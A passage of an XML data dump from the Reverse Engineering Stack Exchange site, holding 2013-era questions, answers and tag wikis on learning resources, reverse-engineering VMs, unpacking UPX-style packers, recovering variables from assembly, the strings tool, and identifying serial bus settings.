Exploits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL9F9E52502327B1CA&quot; rel=&quot;noreferrer&quot;&gt;Exploits 2: Exploitation in the Windows Environment&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLF58FB7BCB20ED11A&quot; rel=&quot;noreferrer&quot;&gt;Rootkits: What they are, and how to find them&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLUFkSN0XLZ-nXcDG89jS9iqKBnNHmz7Qw&quot; rel=&quot;noreferrer&quot;&gt;Introduction to Reverse Engineering Software&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Reverse Engineering Malware&lt;/li&gt;&#xA;&lt;li&gt;Advanced x86: Virtualization with Intel VT-x&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I am not associated with OpenSecurityTraining in any way and have only worked through a small portion of their total offerings. Seems like a great resource though.&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="1512" LastEditDate="2017-06-30T14:44:00.900" LastActivityDate="2017-06-30T14:44:00.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostTypeId="2" ParentId="265" CreationDate="2013-03-25T23:42:12.113" Score="10" Body="&lt;p&gt;I typed out this answer and then realized that you wanted &lt;em&gt;free&lt;/em&gt; (as in beer) materials.  Minus 100 points for me.  This answer &lt;em&gt;assumes&lt;/em&gt; that you want to learn how to reverse engineer in a software environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under this assumption, and &lt;em&gt;assuming&lt;/em&gt; you have a base understanding of a programming or scripting language, such as C/C++ or Python respectively, there are many, many topics to begin with to learn how to &quot;reverse engineer&quot; in a software environment.  A good first task for a beginner is to obtain a working knowledge of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Assembly_language&quot;&gt;Assembly Language&lt;/a&gt;.  A good resource for this (at least for me) was the &lt;a href=&quot;http://astore.amazon.com/crasdumpanala-20/detail/1906717109&quot;&gt;Windows Debugging: Practical Foundations&lt;/a&gt; book by Dmitry Vostokov.  The book costs $14.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective of the book is to teach you how to use WinDbg to debug Windows Applications; however, along the way you will get an excellent, hands on introduction to the Assembly Language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Note: I am in no way associated with Dmitry; however, I did buy the e-book.&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2013-03-25T23:56:28.093" LastActivityDate="2013-03-25T23:56:28.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="269" PostTypeId="5" CreationDate="2013-03-26T03:06:52.667" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-26T03:06:52.667" LastActivityDate="2013-03-26T03:06:52.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostTypeId="4" CreationDate="2013-03-26T03:06:52.667" Score="0" Body="Please keep in mind legal questions may better fit the Law stack exchange site at http://law.stackexchange.com and consider posting them there" OwnerUserId="189" LastEditorUserId="2147" LastEditDate="2018-10-04T18:15:15.193" LastActivityDate="2018-10-04T18:15:15.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="271" PostTypeId="5" CreationDate="2013-03-26T03:09:50.057" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-26T03:09:50.057" LastActivityDate="2013-03-26T03:09:50.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostTypeId="4" CreationDate="2013-03-26T03:09:50.057" Score="0" Body="An integrated circuit (also referred to as an IC, a chip, or a microchip) is a set of electronic circuits on one small plate of semiconductor material, normally silicon." OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-26T10:51:31.513" LastActivityDate="2013-03-26T10:51:31.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostTypeId="1" CreationDate="2013-03-26T03:30:54.573" Score="9" ViewCount="4463" Body="&lt;p&gt;How can I reverse engineer Windows Phone apps? Especially apps that are running on version 7.8 and 8 of the OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for tools and procedures for doing this.&lt;/p&gt;&#xA;" OwnerUserId="297" LastEditorUserId="70" LastEditDate="2013-03-26T09:58:44.863" LastActivityDate="2013-03-27T01:05:13.520" Title="Reverse engineering apps for Windows Phone 7 and 8" Tags="|windowsphone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="275" PostTypeId="5" CreationDate="2013-03-26T05:11:05.270" Score="0" Body="&lt;p&gt;Python is a general-purpose, high-level programming language. Python supports multiple programming paradigms, including object-oriented, imperative and functional programming styles. It features a fully dynamic type system and automatic memory management. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python is often used as a scripting language, but is also used in a wide range of non-scripting contexts. Using third-party tools, Python code can be packaged into standalone executable programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two versions of Python that are most commonly used - 2.x and 3.x&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Python Interpreters&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPython (default implementation)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pypy.org/&quot; rel=&quot;nofollow&quot;&gt;PyPy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ironpython.net/&quot; rel=&quot;nofollow&quot;&gt;IronPython&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Python Decompilers&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Mysterie/uncompyle2&quot; rel=&quot;nofollow&quot;&gt;uncompyle2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-19T05:00:45.023" LastActivityDate="2013-12-19T05:00:45.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="276" PostTypeId="4" CreationDate="2013-03-26T05:11:05.270" Score="0" Body="General-purpose and high-level programming language. Python supports multiple programming paradigms, including object-oriented, imperative and functional programming styles." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-19T07:45:10.393" LastActivityDate="2013-12-19T07:45:10.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostTypeId="5" CreationDate="2013-03-26T05:18:31.223" Score="0" Body="&lt;h3&gt;Definition&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Malware, a portmanteau for &lt;em&gt;malicious software&lt;/em&gt;, is software used or created by attackers to disrupt computer operation, gather sensitive information, or gain access to computer systems. It can appear in the form of code, scripts, active content, and other software. Malware is the term used to refer to a number of categories of malicious or questionable software such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;computer viruses&lt;/li&gt;&#xA;&lt;li&gt;ransomware&lt;/li&gt;&#xA;&lt;li&gt;worms&lt;/li&gt;&#xA;&lt;li&gt;trojan horses (also rogue &quot;security&quot; software)&lt;/li&gt;&#xA;&lt;li&gt;rootkits&lt;/li&gt;&#xA;&lt;li&gt;keyloggers&lt;/li&gt;&#xA;&lt;li&gt;dialers&lt;/li&gt;&#xA;&lt;li&gt;spyware, adware, potentially unwanted software (aka grayware)&lt;/li&gt;&#xA;&lt;li&gt;bots in botnets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Malware has caused the rise in use of protective software types such as anti virus, anti-malware, and firewalls. Each of these are commonly used by personal users and corporate networks in order to stop the unauthorized access by other computer users, as well as the automated spread of malicious scripts and software.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Frequently Asked Questions&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23/how-can-i-analyze-a-potentially-harmful-binary-safely&quot;&gt;How can I analyze a potentially harmful binary safely?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;Where can I, as an individual, get Malware samples to analyze ?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="189" LastEditorUserId="3371" LastEditDate="2017-08-27T20:58:35.010" LastActivityDate="2017-08-27T20:58:35.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostTypeId="4" CreationDate="2013-03-26T05:18:31.223" Score="0" Body="Malware, a portmanteau for malicious software, is software used or created by attackers to disrupt computer operation, gather sensitive information, or gain access to computer systems." OwnerUserId="189" LastEditorUserId="53" LastEditDate="2013-12-17T07:59:19.950" LastActivityDate="2013-12-17T07:59:19.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="279" PostTypeId="2" ParentId="185" CreationDate="2013-03-26T07:49:26.327" Score="7" Body="&lt;p&gt;(Slightly outdated, but as that wasn't mentioned previously in this thread)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long ago, I spend months extending a software with only the binary.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I used IDA for analysis and SoftICE for live debugging. Decompiling is not required if you can understand the target at opcode/bytecode level.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, because it was an x86 PE binary, I used Tasm and Iczelion's &lt;strong&gt;Code Snippet Creator&lt;/strong&gt;: It's not a famous tool anymore, but it allowed to use Tasm transparently and re-inject code, with PE transformations, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It added code at EntryPoint, so I did my own patches manually, then jumped to original EntryPoint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A bit old-school now - I'd probably inject a DLL these days - but it certainly worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And at least, it gives you full control via ASM, while keeping maintainability via automated patching.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-26T10:45:46.453" LastActivityDate="2013-03-26T10:45:46.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="280" PostTypeId="2" ParentId="265" CreationDate="2013-03-26T10:23:01.057" Score="21" Body="&lt;p&gt;Here are my favorite. I started with Lena's tutorials, they are really awesome.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?list.19&quot;&gt;tuts4you&lt;/a&gt; - an endless amount of tutorials. I can highly recommend &lt;a href=&quot;http://tuts4you.com/download.php?list.17&quot;&gt;Lena's reversing for newbies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.binary-auditing.com/&quot;&gt;binary-auditing&lt;/a&gt; - Free IDA Pro Binary Auditing Training Material for University Lectures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-03-26T10:23:01.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostTypeId="2" ParentId="265" CreationDate="2013-03-26T11:18:30.010" Score="8" Body="&lt;p&gt;The classes by Dan Guido at &lt;a href=&quot;http://pentest.cryptocity.net/&quot;&gt;http://pentest.cryptocity.net/&lt;/a&gt; are pretty good too.  I used them as a reference when I first started getting into RE.  They cover a large subject area in addition to RE and are well taught.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-03-26T11:18:30.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="282" PostTypeId="2" ParentId="265" CreationDate="2013-03-26T13:08:40.060" Score="16" Body="&lt;p&gt;The Legend of R4ndom has a long series on a variety of reversing topics. &lt;strike&gt;&lt;a href=&quot;http://thelegendofrandom.com/blog/sample-page&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thelegendofrandom.com/blog/sample-page&lt;/a&gt;&lt;/strike&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://octopuslabs.io/legend/blog/sample-page.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://octopuslabs.io/legend/blog/sample-page.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="18698" LastEditDate="2018-02-12T08:34:56.343" LastActivityDate="2018-02-12T08:34:56.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="283" PostTypeId="1" CreationDate="2013-03-26T14:58:08.897" Score="19" ViewCount="9592" Body="&lt;p&gt;In computer forensics &amp;amp; pentesting, there are live CDs that have a bunch of tools installed. This makes it easy to boot a machine and have a variety of tools for examining the HDD (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there VMs or live CDs with a bunch of RE tools preinstalled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a great starting point for learners. It would also allow the community to answer questions more easily, by pointing out techniques that use tools already in said VM.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2019-01-17T13:18:56.083" Title="Are there ready-to-go reverse engineering VMs?" Tags="|tools|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="284" PostTypeId="2" ParentId="283" CreationDate="2013-03-26T15:05:47.150" Score="11" Body="&lt;p&gt;Here is what I have found so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://zeltser.com/remnux/&quot; rel=&quot;nofollow&quot;&gt;REMnux&lt;/a&gt; is a lightweight Linux distribution for assisting malware analysts in reverse-engineering malicious software. The distribution is based on Ubuntu and is maintained by Lenny Zeltser.&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="2417" LastEditDate="2014-01-02T22:10:18.620" LastActivityDate="2014-01-02T22:10:18.620" CommentCount="2" CommunityOwnedDate="2013-03-26T15:05:47.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostTypeId="2" ParentId="113" CreationDate="2013-03-26T16:17:16.000" Score="4" Body="&lt;p&gt;several possible ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;identify the packer&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get standard packers of your platform (&lt;a href=&quot;http://upx.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;UPX&lt;/a&gt; for example), check if it's not the one used.&lt;/li&gt;&#xA;&lt;li&gt;If it's a standard packer, then maybe you've already won, as it might be documented, or even better, like UPX, it can unpack itself and is open-source.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;identify the algorithm&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there are not so many good+widespread packer algorithms (NRV, LZMA, JCAlg, ApLib, BriefLZ). they're usually easily identifiable by their body size or their constants. (I implemented several of them in pure python in &lt;a href=&quot;https://code.google.com/p/kabopan/source/browse/#svn%2Ftrunk%2Fkbp%2Fcomp&quot; rel=&quot;nofollow&quot;&gt;Kabopan&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;if you can easily identify the packing/encryption algorithm, then you can probably find a clean implementation for static unpacking&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;get your hands dirty&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you still don't know the algorithm and it's apparently really a custom one, then read another packer for the same platform (ie once again, read UPX Mips binary and its source), so it can make you familiar with similar (packer) tricks used on your platform.&lt;/li&gt;&#xA;&lt;li&gt;then look for the likely compression algorithm (likely a different-looking piece of code, people &lt;strong&gt;very rarely&lt;/strong&gt; mess with them, and re-implement the algorithm in your favorite language, and unpack externally (locate parameters, apply algorithms, modify/reconstruct binary)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lazy method by bruteforcing: some algorithms like &lt;a href=&quot;http://corkami.googlecode.com/svn/trunk/wip/MakePE/examples/packer/aplib.py&quot; rel=&quot;nofollow&quot;&gt;ApLib&lt;/a&gt; don't have any header nor parameter (not even a size): the algorithm just requires a pointer to a compressed buffer, so it's sometimes enough to just blindly try it on any offset of your binary, and check if we get a decent decompressed buffer (not too small, not huge+full of 00s).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-26T16:17:16.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostTypeId="2" ParentId="168" CreationDate="2013-03-26T16:25:19.777" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;get &lt;a href=&quot;http://upx.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;UPX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;make your own UPX-packed ELFs, with different options (LZMA, NRV,...)&lt;/li&gt;&#xA;&lt;li&gt;As UPX is easy to modify, and very often modified, patched or even faked,&#xA;comparing the code starts will make it easy to check if your target&#xA;is indeed UPX-packed, and if this is truely the original UPX version&#xA;or if it's modified in any way.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-26T16:25:19.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostTypeId="1" AcceptedAnswerId="303" CreationDate="2013-03-26T16:31:58.307" Score="16" ViewCount="4539" Body="&lt;p&gt;Assuming we have an assembly code, what are the known techniques that could be used to recover the variables used in the original high-level code ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: By &lt;em&gt;recovering variables&lt;/em&gt;, I do not mean &lt;em&gt;recovering variable names&lt;/em&gt;, but trying to identify memory locations that are used to store temporary results that could be replaced by a variable in the high-level code. Also, I am not speaking about bytecodes, but real binary code with no type information, nor complete names embedded in it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-03-26T16:51:19.603" LastActivityDate="2017-01-04T19:39:09.993" Title="How to recover variables from an assembly code?" Tags="|decompilation|disassembly|static-analysis|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostTypeId="2" ParentId="283" CreationDate="2013-03-26T16:37:46.210" Score="6" Body="&lt;p&gt;You probably already know about this since you are familiar with pentesting LiveCDs, but Kali Linux (formerly BackTrack) from Offensive Security is an operating system with built-in tools for penetration testing that is based on Debian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not ever used it for performing reverse-engineering, but it is available to download both as a .iso and as a VMWare image. It is available at &lt;a href=&quot;http://www.kali.org/&quot;&gt;http://www.kali.org/&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2013-03-26T16:37:46.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="289" PostTypeId="2" ParentId="283" CreationDate="2013-03-26T16:42:38.317" Score="11" Body="&lt;p&gt;One good distro is &lt;a href=&quot;http://www.kali.org/&quot;&gt;Kali Linux&lt;/a&gt;, from the creators of &lt;a href=&quot;http://www.backtrack-linux.org/&quot;&gt;BackTrack&lt;/a&gt; (BackTrack is no longer supported). Kali is Debian-based (unlike its predecessor, which was Ubuntu-based), and it has tools for reverse engineering, data collection and analysis, HDD analysis, forensics, and many other purposes. I can't name the tools off the top of my head; you'd have to boot into it to know the full set of tools (if you've used BackTrack, it's a similar toolset, but simplified based on certain specifications).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kali Linux is meant to be booted as a live disk (the docs cover how to do that), but you can also install it as a VM (which is what I've done). Persistence can be set up (see the &lt;a href=&quot;http://docs.kali.org/&quot;&gt;documentation&lt;/a&gt;). Additionally, you can actually install it as an operating system, but I'd recommend against it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One further thing about Kali is that you can customize it for your purposes (minimal install, certain types of install, etc.). I'm not going to go into detail about it. The docs contain further information, as does the main website itself (there is some information about the distro found on the site that isn't necessarily in the docs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kali Linux has an irc channel #kali-linux on irc.freenode.net. Be sure to read the &lt;a href=&quot;http://docs.kali.org/&quot;&gt;docs&lt;/a&gt; before asking questions.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-03-26T16:50:34.407" LastActivityDate="2013-03-26T16:50:34.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostTypeId="1" AcceptedAnswerId="296" CreationDate="2013-03-26T16:48:45.367" Score="8" ViewCount="2366" Body="&lt;p&gt;I have a device with two chips without part numbers. It looks like their using RS232 for serial communication (proper setup, right voltage), but I do not know the bus settings (speed, parity, etc.). Is there any way to determine the bus settings without brute force (trying everything)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a multimeter and an oscilloscope on my workbench.&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorUserId="117" LastEditDate="2013-03-27T17:47:53.320" LastActivityDate="2013-03-27T17:47:53.320" Title="Determining RS232 bus settings" Tags="|communication|serial-communication|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="292" PostTypeId="2" ParentId="287" CreationDate="2013-03-26T17:00:06.367" Score="8" Body="&lt;p&gt;Soo..... this is one of the reasons binary analysis is &lt;em&gt;hard&lt;/em&gt;, the loss of semantic information. A variable is not a concept known in computer architecture, it's reminiscent of a higher level of understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best answer I can give you is, if you're doing &lt;a href=&quot;http://web.archive.org/web/20140723114846/http://www.mimisbrunnr.net/~munin/blog/binary-analysis-isnt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compiler Output Analysis&lt;/a&gt; (which you are), you can look for the conventions used by that compiler to store variables, probably as a combination of registers and variable &quot;spillage&quot; into locations on the stack frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad news is it's compiler dependent. The good news is most compilers are more-or-less similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could attempt to determine signed-ness by observing the conditional operations that work off a value (assuming the developer didn't make a mistake such as comparing a signed and unsigned value).&lt;/p&gt;&#xA;" OwnerUserId="216" LastEditorUserId="2959" LastEditDate="2017-01-04T19:39:09.993" LastActivityDate="2017-01-04T19:39:09.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostTypeId="2" ParentId="287" CreationDate="2013-03-26T17:02:39.637" Score="-2" Body="&lt;p&gt;One sweet trick regarding strings inside of a binary, is the command line tool &lt;code&gt;strings&lt;/code&gt;. It may be important to mention, that it doesn't search for &quot;variables&quot;. It just looks for continuous valid characters and prints them. So this is also helpful to extract strings from any kind of file (when stored in cleartext).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char* argv[]) {&#xA;    char pw[]=&quot;SecretPW&quot;;&#xA;    if(!strcmp(pw,argv[1])){&#xA;        printf(&quot;Correct!\n&quot;);&#xA;    } else {&#xA;        printf(&quot;False...\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using string to extract the strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./test FalsePW&#xA;False...&#xA;$ strings test&#xA;SecretPW&#xA;Correct!&#xA;False...&#xA;$ ./test SecretPW                                                           139 ↵&#xA;Correct!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-03-26T17:08:21.600" LastActivityDate="2013-03-26T17:08:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="294" PostTypeId="5" CreationDate="2013-03-26T17:03:39.787" Score="0" Body="&lt;p&gt;Dynamic-link library, or DLL, is Microsoft's implementation of the shared library concept in the Microsoft Windows and OS/2 operating systems. The file formats for DLLs are the same as for &lt;a href=&quot;/questions/tagged/exe&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'exe'&quot; rel=&quot;tag&quot;&gt;exe&lt;/a&gt; files — that is, Portable Executable (PE) for 32-bit and 64-bit Windows, and New Executable (NE) for 16-bit Windows. DLLs can contain code, data, and resources, in any combination.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-03-26T18:48:13.247" LastActivityDate="2013-03-26T18:48:13.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="295" PostTypeId="4" CreationDate="2013-03-26T17:03:39.787" Score="0" Body="Dynamic-link library, or DLL, is Microsoft's implementation of the shared library concept in the Microsoft Windows and OS/2 operating systems." OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-04-01T14:13:51.033" LastActivityDate="2013-04-01T14:13:51.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="296" PostTypeId="2" ParentId="291" CreationDate="2013-03-26T17:09:59.643" Score="8" Body="&lt;p&gt;If you have an oscilloscope, it should be pretty easy to determine at least the baud rate. Then you just need to play with the parity and stop bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have it, there's no real way around bruteforce. However, usually you don't have to try all combinations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;probably at least 90% embedded devices I've seen use 115200-8-N-1 (115200 baud, 8 data bits, no parity, 1 stop bit), no flow control.&lt;/li&gt;&#xA;&lt;li&gt;of the rest, majority seem to use 8-N-1 with a lower baudrate, such as 38400&lt;/li&gt;&#xA;&lt;li&gt;in &lt;em&gt;one&lt;/em&gt; case, I saw 38400-8-E-1.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-03-26T17:09:59.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostTypeId="2" ParentId="291" CreationDate="2013-03-26T18:07:10.630" Score="4" Body="&lt;p&gt;A simple logic analyzer, such as the &lt;a href=&quot;http://www.saleae.com/&quot;&gt;Saleae&lt;/a&gt; is invaluable for finding simple transmit serial pins. Receive serial pins are harder due to them being silent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that this is &lt;a href=&quot;http://en.wikipedia.org/wiki/RS232&quot;&gt;RS232&lt;/a&gt; and not just serial? It's pretty rare to see RS232 on embedded systems unless they're industrial. &lt;a href=&quot;http://en.wikipedia.org/wiki/RS232#Voltage_levels&quot;&gt;RS232 goes way above TTL levels&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-03-26T18:07:10.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostTypeId="1" AcceptedAnswerId="1604" CreationDate="2013-03-26T18:11:01.840" Score="8" ViewCount="1311" Body="&lt;p&gt;I have two chips that are connected using two lines. One appears to be the clock line (50% duty cycle), but it doesn't have to be (sometimes constant high). The other line appears to be totally random, but still digital. It might be data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a third line between the chips, but it appears to be for something else - it's on a way slower speed and is on another place on the PCB. It also doesn't use a pull-up, while the other two do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find out what protocol (I2C, SPI, RS232, ...) is being used on the lines, if any standard?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorUserId="1467" LastEditDate="2013-04-04T05:20:54.943" LastActivityDate="2013-04-05T12:58:06.363" Title="Determining communication protocol" Tags="|communication|pcb|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="299" PostTypeId="1" AcceptedAnswerId="300" CreationDate="2013-03-26T18:51:06.220" Score="5" ViewCount="49" Body="&lt;p&gt;To analyze the communication protocol between two chips running unknown firmware, we eavesdrop into the communication bus between the chips. In the ideal case, this is “just” a matter of matching exposed paths on a PCB with the contacts of a logic analyzer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if the chips are stacked in a &lt;a href=&quot;http://en.wikipedia.org/wiki/Package_on_package&quot; rel=&quot;noreferrer&quot;&gt;package on package&lt;/a&gt; configuration? How can the contacts be exposed? Can the chips be separated? Does this damage the chips, or will they look as new afterwards?&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-03-26T22:15:31.863" Title="Exposing the connectors in a package on package" Tags="|integrated-circuit|communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
